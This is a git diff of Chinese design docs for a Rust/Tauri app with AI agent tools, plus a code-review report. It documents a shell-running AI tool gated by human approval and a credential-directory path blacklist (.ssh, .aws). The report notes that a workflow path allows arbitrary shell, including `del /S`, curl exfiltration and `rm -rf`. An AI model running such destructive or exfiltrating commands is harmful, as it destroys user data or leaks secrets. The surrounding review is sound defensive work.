||||||
|
| **HumanNode** | ✅ 审批闭环 | 阻塞等待人工审批:subscribe→send→select!(响应/超时/取消),execution_id+node_id 双键过滤 |
|
||||||
|
| DockerNode | ❌ 未实现 | 设计意图:Docker 容器内执行命令(隔离构建/测试环境) |
|
||||||
|
| GitNode | ❌ 未实现 | 设计意图:Git 操作(commit/push/merge/分支管理) |
|
||||||
|
| HTTPNode | ❌ 未实现 | 设计意图:发起 HTTP 请求(调外部 API/Webhook) |
|
||||||
|
| NotifyNode | ❌ 未实现 | 设计意图:多渠道通知(桌面/飞书/钉钉/Webhook) |
|
||||||
|
| SubflowNode | ❌ 未实现 | 设计意图:嵌套子工作流(复杂流程拆分复用) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、当前局限
|
||||||
|
|
||||||
|
| 局限 | 说明 | 对应待办 |
|
||||||
|
|------|------|---------|
|
||||||
|
| 条件引擎只有 true/false | 无法做 `$.status == 'ok'` 这种真条件分支 | T-260614-11 |
|
||||||
|
| 无断点续跑 | 执行中崩溃后无法从失败节点恢复 | Phase 4 |
|
||||||
|
| 无暂停/恢复 | 只能取消,不能暂停后继续 | Phase 4 |
|
||||||
|
| 无 DAG 可视化编辑器 | 用户只能写 JSON 定义 | Phase 5 |
|
||||||
|
| 持久化仅存定义 | 执行状态不落盘(纯内存),重启丢失 | 待需求驱动 |
|
||||||
|
| 缺 human 节点端到端测试 | 单测绿但前端无 human DAG 入口,审批闭环未端到端验证 | B-03b-R8(P0) |
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# df-ai — AI 集成模块
|
# df-ai — AI 集成模块
|
||||||
|
|
||||||
> 创建: 2026-06-10 | 最后更新: 2026-06-13
|
> 创建: 2026-06-10 | 最后更新: 2026-06-14
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -86,6 +86,7 @@ pub trait LlmProvider: Send + Sync {
|
|||||||
| finish 判定 | 逐 chunk 判 `finish_reason`:`stop`/`tool_calls`/`length` 三者同等视为正常 finished(`length` = max_tokens 截断,属正常终止而非断连)|
|
| finish 判定 | 逐 chunk 判 `finish_reason`:`stop`/`tool_calls`/`length` 三者同等视为正常 finished(`length` = max_tokens 截断,属正常终止而非断连)|
|
||||||
| embed | POST `/v1/embeddings`,响应按 index 排序返回 `Vec<Vec<f32>>` |
|
| embed | POST `/v1/embeddings`,响应按 index 排序返回 `Vec<Vec<f32>>` |
|
||||||
| connect timeout | `connect_timeout(30s)`,不设总 timeout(避免误砍流式长任务)|
|
| connect timeout | `connect_timeout(30s)`,不设总 timeout(避免误砍流式长任务)|
|
||||||
|
| complete 单请求超时 | ✅ FR-R4(2026-06-14 commit 36d68dd):`complete()` 同步路径用 `RequestBuilder::timeout(Duration::from_secs(60))` 设 60s 单请求超时;**仅作用于 complete,不影响 stream 流式路径**(stream 仍靠上层 idle timeout 兜底)|
|
||||||
|
|
||||||
> 注:idle timeout(120s)与断连丢弃(finished_received)属上层 `stream_llm`(src-tauri/commands/ai.rs)的职责,不在本 Provider 层。
|
> 注:idle timeout(120s)与断连丢弃(finished_received)属上层 `stream_llm`(src-tauri/commands/ai.rs)的职责,不在本 Provider 层。
|
||||||
|
|
||||||
@@ -121,6 +122,17 @@ SSE 解析抽成 `pub(crate) fn apply_anthropic_event(data: &str, usage_accum: &
|
|||||||
|
|
||||||
支持 GLM 订阅端点(`https://open.bigmodel.cn/api/anthropic`)。
|
支持 GLM 订阅端点(`https://open.bigmodel.cn/api/anthropic`)。
|
||||||
|
|
||||||
|
### tool_use_id 兜底(AC1/AC2,2026-06-14 commit 36d68dd)
|
||||||
|
|
||||||
|
GLM 端对 `tool_use_id` 为 `None`/空串的 `tool_result` 块会返 500 卡死会话。两路兜底:
|
||||||
|
|
||||||
|
| 路径 | 入站/出站 | 兜底 |
|
||||||
|
|------|----------|------|
|
||||||
|
| 出站(请求构造)| tool_result 块 | `tool_call_id` 为 None/空时**跳过该块** + `tracing::warn!`(不发出无效块)|
|
||||||
|
| 入站(SSE 流式)| tool_use 块 | 缺 id 时填占位 id `tool_missing_{idx}`(idx 为 content_block index)+ `tracing::warn!`;同步路径(complete)缺 id 时跳过 |
|
||||||
|
|
||||||
|
> 两者均 warn 留痕,不静默吞掉,便于事后排查 provider 返回异常 tool_use 的场景。
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## ContextManager 分组滑动窗口(context.rs,Sprint 11)
|
## ContextManager 分组滑动窗口(context.rs,Sprint 11)
|
||||||
@@ -149,24 +161,36 @@ SSE 解析抽成 `pub(crate) fn apply_anthropic_event(data: &str, usage_accum: &
|
|||||||
| `build_for_request(sys_tokens) -> (Vec<ChatMessage>, bool)` | 返回裁剪后的消息列表 + 是否发生裁剪(用于 LLM 调用)|
|
| `build_for_request(sys_tokens) -> (Vec<ChatMessage>, bool)` | 返回裁剪后的消息列表 + 是否发生裁剪(用于 LLM 调用)|
|
||||||
| `all_messages_clone()` | 返回全量消息(用于 save_conversation / 标题生成)|
|
| `all_messages_clone()` | 返回全量消息(用于 save_conversation / 标题生成)|
|
||||||
| `restore_from_messages(msgs)` | 切换对话时重建 ContextManager 缓存 |
|
| `restore_from_messages(msgs)` | 切换对话时重建 ContextManager 缓存 |
|
||||||
| `replace_tool_result_content(tool_call_id, new_content) -> bool` | 原子更新工具结果内容(审批通过/拒绝时回填),返回是否找到并替换 |
|
| `replace_tool_result_content(tool_call_id, new_content) -> bool` | 原子更新工具结果内容(审批通过/拒绝时回填),返回是否找到并替换。✅ FR-D4(2026-06-14 commit 4a95f6a):由正向 `position` 遍历改为反向 `rposition`(审批替换命中最近一条同 id 工具结果;该调用属审批低频路径,不引入索引)|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## AI 工具注册
|
## AI 工具注册
|
||||||
|
|
||||||
> 归属:`ai_tools.rs` 仅提供基础设施(`RiskLevel` / `AiTool` / `AiToolRegistry`);12 个工具的具体定义与注册在 `src-tauri/src/commands/ai.rs::build_ai_tool_registry`,handler 即唯一执行路径(schema+risk+实现同源)。
|
> 归属:`ai_tools.rs` 仅提供基础设施(`RiskLevel` / `AiTool` / `AiToolRegistry`);工具的具体定义与注册在 `src-tauri/src/commands/ai/tool_registry.rs::build_ai_tool_registry`,handler 即唯一执行路径(schema+risk+实现同源)。
|
||||||
|
|
||||||
12 个内置工具,按风险分级:
|
13 个内置工具,按风险分级:
|
||||||
|
|
||||||
| 风险 | 工具 |
|
| 风险 | 工具 |
|
||||||
|------|------|
|
|------|------|
|
||||||
| Low(自动执行)| list_projects / list_tasks / list_ideas / read_file / list_directory |
|
| Low(自动执行)| list_projects / list_tasks / list_ideas / read_file / list_directory |
|
||||||
| Medium(需审批)| update_project / create_project / create_task / create_idea / write_file |
|
| Medium(需审批)| update_project / create_project / create_task / create_idea / write_file |
|
||||||
| High(需审批)| delete_project / run_workflow |
|
| High(需审批)| delete_project / run_workflow / run_command |
|
||||||
|
|
||||||
工具执行结果写 `ai_tool_executions` 表(审计日志)。
|
工具执行结果写 `ai_tool_executions` 表(审计日志)。
|
||||||
|
|
||||||
|
### run_command(Sprint 21,方案 A「直接暴露 Shell」)
|
||||||
|
|
||||||
|
让 AI 形成「写(write_file)→跑(run_command)→看 stdout→改」闭环。handler 复用 `df_execute::shell::execute`(跨平台:Windows `cmd /C` / Unix `sh -c`,已封装 `tokio::time::timeout` + `kill_on_drop` 防僵尸进程)。
|
||||||
|
|
||||||
|
| 维度 | 设计 |
|
||||||
|
|------|------|
|
||||||
|
| 风险 | **High**——强制人工审批,审批卡显示 `command`+`working_dir`(复用 ToolCard `toolArgsEntries`,零前端改动) |
|
||||||
|
| 参数 | `command`(必填) / `working_dir`(可选,默认 workspace_root) / `timeout_secs`(可选,默认 60) |
|
||||||
|
| working_dir 校验 | 走 `validate_path` 黑名单(`..` + `.ssh`/`.aws`/`windows`/`system32` 等),**不走** `resolve_workspace_path` 越界校验——High risk 靠人审兜底,放开目录才能在用户任意项目跑命令 |
|
||||||
|
| 输出截断 | stdout/stderr 各 10KB,尾部保留(报错堆栈在末尾),超出设 `truncated: true`(`truncate_output` 辅助函数,char 边界安全截) |
|
||||||
|
| 安全边界 | A 方案=最高风险,唯一防线=人审+黑名单。未做命令黑名单(`rm -rf`/`format`)、网络外传检测、资源限制——属 B(ScriptNode)/C(Docker)/D(MCP) 方案领域 |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 知识库集成(Sprint 15,逻辑在 src-tauri/commands/ai.rs)
|
## 知识库集成(Sprint 15,逻辑在 src-tauri/commands/ai.rs)
|
||||||
@@ -223,12 +247,12 @@ SSE 解析抽成 `pub(crate) fn apply_anthropic_event(data: &str, usage_accum: &
|
|||||||
| Conditions(条件分支)| 缺失(df-ai 无实现,条件求值属 df-workflow crate)| JSON Path / 比较 / and-or-not |
|
| Conditions(条件分支)| 缺失(df-ai 无实现,条件求值属 df-workflow crate)| JSON Path / 比较 / and-or-not |
|
||||||
| Reflection(自纠)| 缺失 | 执行后自检 / 重试 |
|
| Reflection(自纠)| 缺失 | 执行后自检 / 重试 |
|
||||||
|
|
||||||
详见 [Phase 2 计划 - 决策能力升级](../07-项目管理/Phase2计划.md)。
|
详见 [Phase 2 计划 - 决策能力升级](../07-项目管理/Phase2计划-2026-06-12.md)。
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 相关文档
|
## 相关文档
|
||||||
|
|
||||||
- [df-storage 存储层](./df-storage-存储层.md)
|
- [df-storage 存储层](./df-storage-存储层-2026-06-12.md)
|
||||||
- [df-workflow 工作流引擎](./df-workflow-工作流引擎.md)
|
- [df-workflow 工作流引擎](./df-workflow-工作流引擎-2026-06-12.md)
|
||||||
- [df-nodes 节点集合](./df-nodes-节点集合.md)
|
- [df-nodes 节点集合](./df-nodes-节点集合-2026-06-12.md)
|
||||||
|
|||||||
@@ -130,6 +130,6 @@ Tier 1+ 目标:MCP Shell 封装(`mcp-server` 转发 IPC),外部工具使
|
|||||||
|
|
||||||
## 相关文档
|
## 相关文档
|
||||||
|
|
||||||
- [df-storage 存储层](./df-storage-存储层.md) — knowledges 表结构 + 向量工具函数
|
- [df-storage 存储层](./df-storage-存储层-2026-06-12.md) — knowledges 表结构 + 向量工具函数
|
||||||
- [df-ai AI 集成模块](./df-ai-AI集成模块.md) — hybrid_search / generate_embedding / extract
|
- [df-ai AI 集成模块](./df-ai-AI集成模块-2026-06-12.md) — hybrid_search / generate_embedding / extract
|
||||||
- [功能决策记录](../02-架构设计/功能决策记录.md) — 检索方案演进决策
|
- [功能决策记录](../02-架构设计/功能决策记录-2026-06-14.md) — 检索方案演进决策
|
||||||
|
|||||||
@@ -71,4 +71,4 @@ crates/df-nodes/src/
|
|||||||
|
|
||||||
## 相关文档
|
## 相关文档
|
||||||
|
|
||||||
- [df-workflow 工作流引擎](./df-workflow-工作流引擎.md)
|
- [df-workflow 工作流引擎](./df-workflow-工作流引擎-2026-06-12.md)
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# df-storage 存储层
|
# df-storage 存储层
|
||||||
|
|
||||||
> 创建: 2026-06-10 | 最后更新: 2026-06-13
|
> 创建: 2026-06-10 | 最后更新: 2026-06-14
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -94,7 +94,7 @@ CREATE INDEX IF NOT EXISTS idx_knowledges_reuse_count ON knowledges(reuse_count
|
|||||||
| `increment_reuse_count(id)` | `UPDATE SET reuse_count = reuse_count + 1, updated_at = ?`(SQL 原子操作,连带刷 updated_at)|
|
| `increment_reuse_count(id)` | `UPDATE SET reuse_count = reuse_count + 1, updated_at = ?`(SQL 原子操作,连带刷 updated_at)|
|
||||||
| `top_used(limit)` | published 按 reuse_count DESC,热门列表 |
|
| `top_used(limit)` | published 按 reuse_count DESC,热门列表 |
|
||||||
| `set_embedding(id, &[f32])` | UPDATE embedding BLOB(f32 little-endian)|
|
| `set_embedding(id, &[f32])` | UPDATE embedding BLOB(f32 little-endian)|
|
||||||
| `search_vector(query_vec, limit)` | SELECT published + embedding IS NOT NULL → 纯 Rust 余弦批量比较,skip 维度不匹配 |
|
| `search_vector(query_vec, limit)` | ✅ FR-D2(2026-06-14 commit 4a95f6a):由 `SELECT *` 改为**显式 14 列** `id, kind, title, content, tags, status, confidence, reuse_count, verified, source_project, source_ref, reasoning, created_at, updated_at`;`embedding` 单独另一条 SQL 取(BLOB 单独读,避免与大文本字段混取)→ 纯 Rust 余弦批量比较,skip 维度不匹配。消除 `SELECT *` 隐式依赖,字段精简(`reasoning` 已在列白名单中) |
|
||||||
| `list_non_archived()` | `WHERE status != 'archived'` 全量,CASE confidence 语义排序(high>medium>low),次 created_at DESC → `Vec<KnowledgeRecord>` |
|
| `list_non_archived()` | `WHERE status != 'archived'` 全量,CASE confidence 语义排序(high>medium>low),次 created_at DESC → `Vec<KnowledgeRecord>` |
|
||||||
|
|
||||||
### 向量工具函数
|
### 向量工具函数
|
||||||
@@ -137,5 +137,5 @@ crates/df-storage/src/
|
|||||||
|
|
||||||
## 相关文档
|
## 相关文档
|
||||||
|
|
||||||
- [SQLite CRUD 模式](../01-技术文档/SQLite-CRUD模式.md)
|
- [SQLite CRUD 模式](../01-技术文档/SQLite-CRUD模式-2026-06-12.md)
|
||||||
- [前后端类型对齐](../02-架构设计/前后端类型对齐.md)
|
- [前后端类型对齐](../02-架构设计/前后端类型对齐-2026-06-12.md)
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# df-workflow 工作流引擎
|
# df-workflow 工作流引擎
|
||||||
|
|
||||||
> 创建: 2026-06-10 | 状态: 初稿
|
> 创建: 2026-06-10 | 状态: 初稿 | 最后更新: 2026-06-14
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -169,7 +169,7 @@ pub trait Node: Send + Sync {
|
|||||||
| `add_edge_with_condition` | `(&mut self, source, target, condition: String)` | 加带条件边 |
|
| `add_edge_with_condition` | `(&mut self, source, target, condition: String)` | 加带条件边 |
|
||||||
| `predecessors` | `(&NodeId) -> Vec<NodeId>` | 上游节点 ID |
|
| `predecessors` | `(&NodeId) -> Vec<NodeId>` | 上游节点 ID |
|
||||||
| `successors` | `(&NodeId) -> Vec<NodeId>` | 下游节点 ID |
|
| `successors` | `(&NodeId) -> Vec<NodeId>` | 下游节点 ID |
|
||||||
| `topological_layers` | `() -> Result<Vec<Vec<NodeId>>>` | BFS 分层拓扑排序,同层可并行;**检测到环时报 `Workflow` 错误**("DAG 中存在环") |
|
| `topological_layers` | `() -> Result<Vec<Vec<NodeId>>>` | BFS 分层拓扑排序,同层可并行;**检测到环时报 `Workflow` 错误**("DAG 中存在环")。✅ FR-D1(2026-06-14 commit 4b5f096):复杂度由 O(V·E) 降为 **O(V+E)**——一次性遍历边建 `adjacency_out`(出边表)+ 入度表,BFS 分层走索引而非每节点重扫 `self.edges`。`executor.rs::run` 预建 `adjacency_in`(入边索引)取前驱,消除逐节点 `predecessors()` 全表扫描 |
|
||||||
|
|
||||||
`Edge { source, target, condition: Option<String> }` — condition 为可选条件表达式,由 `conditions.rs` 求值。
|
`Edge { source, target, condition: Option<String> }` — condition 为可选条件表达式,由 `conditions.rs` 求值。
|
||||||
|
|
||||||
@@ -219,9 +219,9 @@ AI Chat(B 路线)从单链 ReAct 升级为规划式协作时,本引擎需
|
|||||||
|
|
||||||
2. **executor 分层并行接入 agentic loop** —— `topological_layers` + `join_all` 已实现(测试 `test_same_layer_runs_in_parallel`),但仅喂静态 DAG。需让 `run_agentic_loop` 内动态生成的 DAG 走这条并行通道,而非单轮串行 `process_tool_calls`。
|
2. **executor 分层并行接入 agentic loop** —— `topological_layers` + `join_all` 已实现(测试 `test_same_layer_runs_in_parallel`),但仅喂静态 DAG。需让 `run_agentic_loop` 内动态生成的 DAG 走这条并行通道,而非单轮串行 `process_tool_calls`。
|
||||||
|
|
||||||
详见 [Phase 2 计划 - 决策能力升级](../07-项目管理/Phase2计划.md)。
|
详见 [Phase 2 计划 - 决策能力升级](../07-项目管理/Phase2计划-2026-06-12.md)。
|
||||||
|
|
||||||
## 相关文档
|
## 相关文档
|
||||||
|
|
||||||
- [df-nodes 节点集合](./df-nodes-节点集合.md)
|
- [df-nodes 节点集合](./df-nodes-节点集合-2026-06-12.md)
|
||||||
- [Phase1 架构决策](../02-架构设计/Phase1架构决策.md)
|
- [Phase1 架构决策](../02-架构设计/Phase1架构决策-2026-06-12.md)
|
||||||
|
|||||||
150
docs/05-代码审查/全局代码review-2026-06-15.md
Normal file
150
docs/05-代码审查/全局代码review-2026-06-15.md
Normal file
@@ -0,0 +1,150 @@
|
|||||||
|
# 全局代码 Review(2026-06-15)
|
||||||
|
|
||||||
|
> 来源:7 维度 general-purpose agent 并行深入扫(workflow `wnrzlw8ub`,DRY / 架构 / 潜在bug / 简洁性 / 安全 / AI可靠 / 工作流引擎)。汇总 agent stall(处理 7 维度大 JSON + 输出大 schema 卡死 6 次重试),主代理从 workflow journal 提取 7 维度 result 接手汇总。
|
||||||
|
> 原则:全局最优、不过度设计、务实修复(最小改动根治)、聚焦真问题(不报 style/吹毛求疵)。
|
||||||
|
> 去重源:本轮已修项排除(CR-01 keyring 清理 = security#1、CR-02 AiChat confirm = DRY#3),embed timeout 在 AI可靠 与 架构 两维度重复(合并)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 总览
|
||||||
|
|
||||||
|
- 原始 38 findings → 去重/排已修后 **~30**
|
||||||
|
- **P1 可执行 6**(明确小修,立即推进)
|
||||||
|
- **P1 需设计 3**(跨层/A-B/行为变更,进设计文档)
|
||||||
|
- **P2 可执行 ~13**(清债/死代码批)
|
||||||
|
- **P2 需设计 ~10**(进 todo)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔴 P1 — 可执行(立即推进)
|
||||||
|
|
||||||
|
| # | 维度 | 问题 | 位置 | 修复方向 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| R-P1-1 | AI可靠 | **Anthropic 流式 error 事件误判正常完成**:`apply_anthropic_event` 的 `type=="error"` 分支返 `finished:true`,stream_llm 视为正常完成 → 残缺响应持久化、无 AiError、用户以为答完实际中途出错(OpenAI 路径走 Err,行为不一致) | `anthropic_compat.rs:201-205` + `stream_recv.rs:142-145` | error 事件走 Err 路径(StreamChunk 加 `error: Option<String>` 字段,stream_llm 识别后走 AiError + return None 丢弃残缺) |
|
||||||
|
| R-P1-2 | bug | **shell::execute 超时未 kill 子进程**:`timeout` 包裹 `cmd.output()`,超时返 Err 但子进程未 kill(tokio Child 默认无 kill_on_drop)→ 僵尸/孤儿累积 + fd 泄漏 | `crates/df-execute/src/shell.rs:55-63` | 改 `spawn()` 拿 Child + `kill_on_drop(true)` 兜底,或超时分支显式 `child.kill().await` + wait 回收 |
|
||||||
|
| R-P1-3 | workflow | **审批 Ok 后取消 TOCTOU**:HumanNode Ok 返回后 join_all 让出执行权窗口内前端 cancel → set_cancelled 改 Cancelled → 随后 set_completed 命中 is_legal 拒绝(Cancelled→Completed) → bail,已批准审批报失败(与 B-03b-R1 Err 分支防护对称的另一半) | `crates/df-workflow/src/executor.rs:126` | set_completed 前加 `if !is_cancelled(node_id)` 短路(与 139 行 Err 分支对称) |
|
||||||
|
| R-P1-4 | DRY | **build_provider+resolve+ensure_resolved_key 7 处复制,6 处漏空 key 早失败校验**:只有 agentic.rs 含 ensure_resolved_key,title/knowledge_inject×2/project/ai_node×2 跳过 → keyring 读不到时空 key 照发请求致 401,用户看「key 已保存」反复重试无解 | 7 调用点:`agentic.rs:48-58`/`title.rs:60-65`/`knowledge_inject.rs:33,320`/`project.rs:378`/`ai_node.rs:118,309` | `secret.rs` 加工厂 `build_provider_for(record) -> Result<Box<dyn LlmProvider>, String>`(resolve→ensure_resolved→build),7 处替换 |
|
||||||
|
| R-P1-5 | workflow | **update_task status 无值校验**:白名单只校验列名不校验值,任意字符串落库,TaskStatus 枚举形同虚设 → 拼写错误(in-progess/in progress)静默落库,按枚举查询全漏,任务「消失」(todo T-260614-03 旁路未根治) | `src-tauri/src/commands/task.rs:74-85` | field=="status" 时校验 value ∈ TaskStatus variants(types.rs 补 is_valid 反查),非法返 Err |
|
||||||
|
| R-P1-6 | workflow | **HumanNode 无效 decision 直接 Err 无重试**:decision ∉ options 或空 → return Err → 节点 Failed → 整层中止,用户一次手误(多尾空格/'y')杀死工作流,无法纠错 | `crates/df-nodes/src/human_node.rs:67-73` | return Err 改 continue(warn 日志),select! 续等下一条合法 Response,超时兜底 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔴 P1 — 需设计(进设计文档/todo)
|
||||||
|
|
||||||
|
### R-PD-1 编辑 provider 不改密钥默默清 DB 明文,密钥永久丢失(security P1)
|
||||||
|
- 位置:`commands.rs:329-355`(ai_save_provider 空密钥分支)+ `crud.rs:896`(INSERT OR REPLACE 全字段覆盖)
|
||||||
|
- 问题:api_key 空=编辑不改约定下,无条件把 record.api_key 置空走 INSERT OR REPLACE。**未迁移态** provider(迁移失败 DB 仍有明文 keyring 空)用户仅改 name/base_url,空 api_key 把 DB 明文覆盖成空 → keyring 一直空 → resolve 返空 → provider 报废,密钥静默丢失。
|
||||||
|
- 修复方向:空 api_key 时先确认 keyring 有/DB 有再决定清 DB——若 keyring 无且原 DB 非空,先 set_provider_secret 补迁再清 DB(即时迁移),保住密钥不丢。
|
||||||
|
- 进:todo 新增条目 + 功能决策记录(密钥迁移健壮性取舍)
|
||||||
|
|
||||||
|
### R-PD-2 run_workflow IPC 经 ScriptNode 执行前端任意 shell(security P1)
|
||||||
|
- 位置:`workflow.rs:36-44`(run_workflow 接 DagDef)+ `script_node.rs:34-42`(config.command 直传)+ `shell.rs:38/42`(cmd /C \| sh -c)
|
||||||
|
- 问题:前端可构造任意 DagDef 提交,ScriptNode 从 config.command 取原始串交 shell 解释器,**无白名单/无工作目录锚定/无审批**(workflow 系统独立于 AI 工具 RiskLevel 审批链)。前端可 `del /S` 或 curl 外发。
|
||||||
|
- 修复方向(三选一):① state.rs build_registry 不注册 'script' 掐断(最安全最小);② 限定工作目录在已绑定项目 path 内 + 高危命令前缀走 HumanNode 审批;③ ScriptNode 命令白名单(npm/git/mvn 前缀 + 参数过滤)。
|
||||||
|
- 进:todo 新增 + 安全设计文档(工作流脚本执行边界)
|
||||||
|
|
||||||
|
### R-PD-3 DAG 条件边从不求值,条件分支整体失效(workflow P1)
|
||||||
|
- 位置:`executor.rs:62-97`(adjacency_in 构建 + inputs 收集不区分 condition)+ `conditions.rs:16`(ConditionEngine 从未被 executor 调用)
|
||||||
|
- 问题:边有 `condition: Option<String>`,build_dag 写入 runtime Dag,但 executor 无条件把每条边前驱输出灌入 target,topological_layers 把条件边计入入度。`add_edge_with_condition("a","c","false")` 实际 c 永远执行。**条件分支这一 DAG 核心能力整体失效,且对用户静默**。
|
||||||
|
- 修复方向:executor inputs 收集处用 ConditionEngine.evaluate(edge.condition, &pred_output) 过滤;topological_layers 前过滤无效边或执行时按条件短路 target 为 Skipped。起步先打通数据流过滤,调度短路二期。
|
||||||
|
- 与 todo `T-260614-11 条件表达式引擎升级`同一根因(conditions 仅 true/false 字面量 + 从未接线)。进:任务推进构想 / 条件引擎设计文档
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🟡 P2 — 可执行(清债/死代码批)
|
||||||
|
|
||||||
|
| # | 维度 | 问题 | 位置 | 修复 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| R-P2-1 | AI可靠 | MAX_AGENT_ITERATIONS(=10) 达上限静默截断,末轮 tool_result 不回传 LLM 且无提示 | `agentic.rs:81-217` | 因达上限退出时 emit AiError/warn「达到最大轮次,可能未完成」 |
|
||||||
|
| R-P2-2 | bug | write_file 每次覆盖非空文件生成 .bak 不清理(污染 git/构建/list_directory AI 上下文) | `tool_registry.rs:471-476` | rename 成功后 remove .bak(保留 rename 失败分支不删兜底) |
|
||||||
|
| R-P2-3 | bug | build_dag 不校验边 source/target 存在,野边静默吞(节点空输入跑错无报错) | `registry.rs:52-61` | add_edge 前校验两端存在,bail 早返回 |
|
||||||
|
| R-P2-4 | bug | TokenAccumulator.add 用 u32 += 无饱和,恶意/异常 provider 返巨大值溢出回绕打乱 budget | `conversation.rs:26-29` | saturating_add |
|
||||||
|
| R-P2-5 | DRY | now_millis 时间工具两层重复(commands::now_millis + crud::now_millis_str) | `commands/mod.rs:15` + `crud.rs:357` | df-core 提供 pub fn,两处 use |
|
||||||
|
| R-P2-6 | 架构 | extract_error_diag 字节窗口扫描 UTF-8 边界脆弱(依赖中文恰好 3 字节巧合) | `stream_recv.rs:28-40` | 改白名单码 raw.contains(code_str),去滑窗 |
|
||||||
|
| R-P2-7 | DRY | **client builder 三级降级逐字复制 + 中间级重建无意义**(第一级 connect_timeout(30s) 失败→第二级同配置重建必同因失败→只有第三级 Client::new() 不同)。⚠️ 本轮 B3 刚加的「中间级重建」审查质疑冗余 | `anthropic_compat.rs:235-247` + `openai_compat.rs:232-244` | 抽 `build_llm_client()` 到 df-ai/http.rs + 简化为两级(删中间同配置重建级) |
|
||||||
|
| R-P2-8 | 简洁 | df-ai::router 整模块死代码(route() 6 分支全返 default_model,零外部引用) | `router.rs:8-51` | 删文件 + lib.rs 删 mod |
|
||||||
|
| R-P2-9 | 简洁 | df-ai::stream::StreamCollector 整模块死代码(与 TokenAccumulator 重叠未用) | `stream.rs:6-45` | 删文件 + lib.rs 删 mod |
|
||||||
|
| R-P2-10 | 简洁 | Dag::predecessors/successors 死方法(executor 已自建 adjacency) | `dag.rs:65-80` | 删两方法 |
|
||||||
|
| R-P2-11 | 简洁 | NodeRegistry::is_registered/registered_types 死方法 | `registry.rs:66-74` | 删两方法 |
|
||||||
|
| R-P2-12 | 简洁 | DagDef::from_dag_edges 死方法(注释自承无法还原节点配置) | `dag_def.rs:77-97` | 删方法 |
|
||||||
|
| R-P2-13 | 简洁 | set_waiting/set_skipped 死代码(全仓零调用,误导状态机认知) | `state.rs:87-111` | 删两方法(set_cancelled 保留+注释「唯一受控旁路」) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🟡 P2 — 需设计(进 todo)
|
||||||
|
|
||||||
|
- **R-PD-4** keyring 迁移失败明文密钥长期滞留 SQLite 文件(无加密)— `secret.rs:50-72`:补 N 次失败阈值警告(不改兼容时序)
|
||||||
|
- **R-PD-5** approve_human_approval IPC 不校验 decision ∈ options(放行非法值,依赖下游 HumanNode 兜底,IPC 成功+工作流失败割裂)— `workflow.rs:179-210`
|
||||||
|
- **R-PD-6** AiSession 单例:try_continue 读 active_conversation_id 竞态(靠 switch readonly 间接保护,脆弱耦合)— `agentic.rs:255-291`:从 pending_approvals 取 conversation_id 解耦
|
||||||
|
- **R-PD-7** LlmProvider trait 抽象缺口:name() 语义错位(OpenAI 返模型名/Anthropic 返固定串)+ supported_features/ProviderFeatures 死代码(两 provider 实现但零读取)— `provider.rs:155-160,217`:补 endpoint() 默认方法 + 删 supported_features
|
||||||
|
- **R-PD-8** AiProviderRecord 整条穿透 IPC 边界(DB schema 演进直接破坏前端契约,models 字段 provider 返串/conversation 返数组不一致)— `commands.rs:282-295`:定义 ProviderDto/ConversationSummary 映射层
|
||||||
|
- **R-PD-9** 命令层承担业务逻辑(agentic loop/tool_registry 717 行/audit reason 映射堆 commands/ai)— `agentic.rs`+`tool_registry.rs`+`audit.rs`:最小起步把 audit 工具名→文案映射作 display_hint 注册进 AiToolRegistry(消除双份);agentic loop 下沉 df-ai 较大进 todo
|
||||||
|
- **R-PD-10** .map_err(\|e\| e.to_string()) 10 文件 85 处复制(强类型 Error 拍平成自由文本,分类信息丢弃)— 全 commands/:加 err_str helper 统一日志点(是否带分类前缀需设计)
|
||||||
|
- **R-PD-11** 目录防重复绑定逻辑两处重复(find_binding_conflict vs bind_dir_to_project)— `project.rs:249-260` + `tool_registry.rs:92-102`:抽公共 find_path_conflict
|
||||||
|
- **R-PD-12** run_workflow AI 工具是 no-op 桩但 prompt/audit/ToolCard 当真实能力宣传(LLM 调用走审批拿空结果,体验断裂)— `tool_registry.rs:383-390`+`prompt.rs:57`+`audit.rs:120-123`+`ToolCard.vue:367`:删假能力 or 真接线(与 R-PD-2 协同)
|
||||||
|
- **R-PD-13** run_workflow 转发任务 Lagged 静默丢前端事件无补偿(256 容量击穿时关键终态事件永久丢)— `workflow.rs:70-97`:终态事件兜底重发 or Lagged 时从 DB 重读补发
|
||||||
|
- **R-PD-14** df-ideas::promotion IdeaPromoter/PromotionPolicy/try_promote 死代码且 do_promote 是空壳 TODO(误接入得虚假成功)— `promotion.rs:21-92`:删死码保留 PromotionResult(确认归属后)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 架构洞察
|
||||||
|
|
||||||
|
1. **df-ai 多处重构残留死代码**:router(route 全返 default_model)/stream(与 TokenAccumulator 重叠)/supported_features(零读取)——「为不存在需求预建的抽象」,零引用可删。
|
||||||
|
2. **LlmProvider trait 抽象缺口**:name() 语义错位 + 无 base_url/endpoint 访问器 → 诊断(stream_recv fmt_diag)只能用 name() 近似 provider_type,401 排查难定位是 key/url/model 哪个配置错(与本轮 B-260615-01 stream_recv 诊断约束呼应)。
|
||||||
|
3. **命令层臃肿**:agentic loop(ReAct 编排)/tool_registry(项目CRUD+文件+安全校验 717 行闭包)/audit(工具名→文案映射)堆在 src-tauri/commands/ai,无法被 df-nodes/AiNode 复用(AiNode 自己重写 LLM 调用)。最小起步:audit 映射下沉 registry(display_hint)。
|
||||||
|
